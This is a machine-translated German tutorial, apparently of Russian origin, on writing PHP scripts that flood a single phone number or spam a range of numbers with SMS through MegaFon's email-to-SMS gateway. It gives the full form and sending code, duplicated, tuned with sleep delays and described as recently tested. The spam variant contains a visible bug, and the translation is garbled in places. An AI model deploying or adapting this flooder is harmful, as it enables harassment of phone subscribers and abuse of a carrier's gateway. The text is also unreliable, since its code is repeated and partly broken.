This page has been robot translated, sorry for typos if any. Original content here.

Wir schreiben sms flooder oder spammer (mail2sms)

mail2sms
Nachdem ich entweder nicht funktionierende Links oder nicht funktionierende Skripte gefunden hatte, entschied ich mich, Flooding zu starten. Das Opfer war das russische MEGAFON. Nehmen wir es als Beispiel.

Flud

Schauen wir uns zuerst an, was für ein Schwimmer. Nach meinem Verständnis ist ein Flooder ein Programm oder ein Skript, das Informationen in einer bestimmten Menge (oft sehr groß) an einen bestimmten Empfänger sendet.

Und was brauchen wir, um einen solchen Flooder zu schreiben? Fast nichts:
  • Hosting mit PHP-Unterstützung
  • Gehirn + gerade Arme
  • Fähigkeit zur Verwendung von Google
Für Hochwasser werden wir das SMS-Gateway dieses Betreibers verwenden.
Das SMS-Gateway ist eine Schnittstelle, über die Sie SMS-Nachrichten ohne Verwendung eines Mobiltelefons senden und empfangen können. SMS-Nachrichten werden in E-Mails, HTTP-Anfragen und umgekehrt konvertiert. Eine Nachricht, die über ein ähnliches Gateway gesendet wird, kann für den Absender kostenlos sein. Es sind jedoch technische Einschränkungen möglich, z. B. die Anzahl der Nachrichten, die täglich von einem Computer gesendet werden.

Wie aus den obigen Ausführungen hervorgeht, werden fortgeschrittene Programmierer für sich selbst nichts Neues lernen.
Also haben Sie sich für das Hosting entschieden, mit allem, was aussortiert ist ...
Erstelle eine index.php Seite mit folgendem Inhalt:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie aus dem Code hervorgeht, handelt es sich um eine Seite mit einem Sendeformular , das auf unser Skript mit dem Namen sms.php verweist:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Wir fangen an, den Code zu zerlegen.
Zu Beginn des Skripts weisen wir Variablen zu.
$ from - jede Mailbox, aus der Nachrichten kommen.
$ to - der Adressat, also der, den wir gerade überschwemmen. Der Wert der Variablen wird aus der index.php-Form entnommen und mit @ sms.mgsm.ru koordiniert. Was ist das @ sms.mgsm.ru? Dies ist der SMS-Gateway-Betreiber MEGFON.
$ msg - Variable, die den zu sendenden Text enthält.
Als nächstes folgt der Zyklus, dessen Aufgabe darin besteht, die erforderliche Anzahl von Nachrichten mit einer Ruhepause zu senden.
Die Mail-Funktion ist nur für die Weiterleitung der Mail an das Gateway zuständig.

Nun zur Schlaffunktion . Warum wird es gebraucht?
Wenn wir es nicht eingeben, reagiert der Server nicht auf die erforderliche Anzahl von SMS und sendet sie in der Menge von 1-2 Stück. Hier, damit der Server Zeit zum Reagieren hatte und diese Funktion notwendig ist. Die Anzahl der Sekunden der Verzögerung ist in Klammern angegeben. Diese Figur wird durch die Methode der Sortierung verschiedener Varianten ausgewählt. Der Wert kann von der Auslastung des Gateways und der Geschwindigkeit Ihres Internets abhängen. Also experimentiere hier. Das Skript wurde mit Parameter 7 überprüft.

Wir überprüfen das Skript. Gehen Sie zu unserem Formular, geben Sie die erforderlichen Daten ein und drücken Sie die Taste ...
Nun ist zu bedenken, dass das Skript nicht sofort ausgeführt wird, sondern nach und nach auf die Pause wartet, die Sie nach dem Senden der einzelnen Nachrichten festgelegt haben.

SPAM

Was ist Spam? Ich verstehe Spam als Massenversand von Informationen an verschiedene Personen zu verschiedenen Zwecken. Was wir brauchen, um Spam zu organisieren
  • alles für flooder aufgeführt
Es ist notwendig, die Form ein wenig zu ändern. Ich werde nur ein Fragment geben:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und ein wenig modifizierter Code sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Ich denke alles ist klar. Wir bewegen uns in einem vorgegebenen Zahlenbereich und senden ihnen in einem festgelegten Intervall eine SMS. In dieser Methode:
[+] funktioniert ohne Basis. Ersparnisse und Verkehr im Gesicht
[+] im gegensatz zur basis kommst du auch in die neulinge des netzwerks, die noch nicht in den datenbanken sind (kostenpflichtig und kostenlos)
[-] nicht alle versendeten SMS erreichen aus dem Grund, dass solche Nummern möglicherweise nicht vorhanden sind. Es ist jedoch möglich, solche Bereiche auszuwählen, bei denen die maximale Wahrscheinlichkeit der SMS-Zustellung liegt.

Was zum Schluss zu sagen ...
Dieses Material fordert Sie nicht zum Handeln auf und dient nur zu Informationszwecken. Ich bin der Autor des Artikels, und mit Kopieren-Einfügen ist der Link hier obligatorisch.
Mit ein wenig Lust und Geschick wird das Skript in einen Spammer umgewandelt oder passt sich an jeden anderen Betreiber mit einem funktionierenden SMS-Gateway an. Wir mussten googeln, um nach Gateways zu suchen. Für die Faulen - eine große Liste von Gateways . Dies könnte aber der nächste Artikel sein.

PS Flooder vor kurzem überprüft. Alles funktioniert super. Wenn es nicht funktioniert, gibt es mehrere Möglichkeiten. Einkrumme Hände. Der zweite Grund ist, dass Ihr Hosting die Mail-Funktion nicht unterstützt. Der dritte Grund ist, dass der Bediener das Gateway geändert hat oder das Gateway überlastet ist.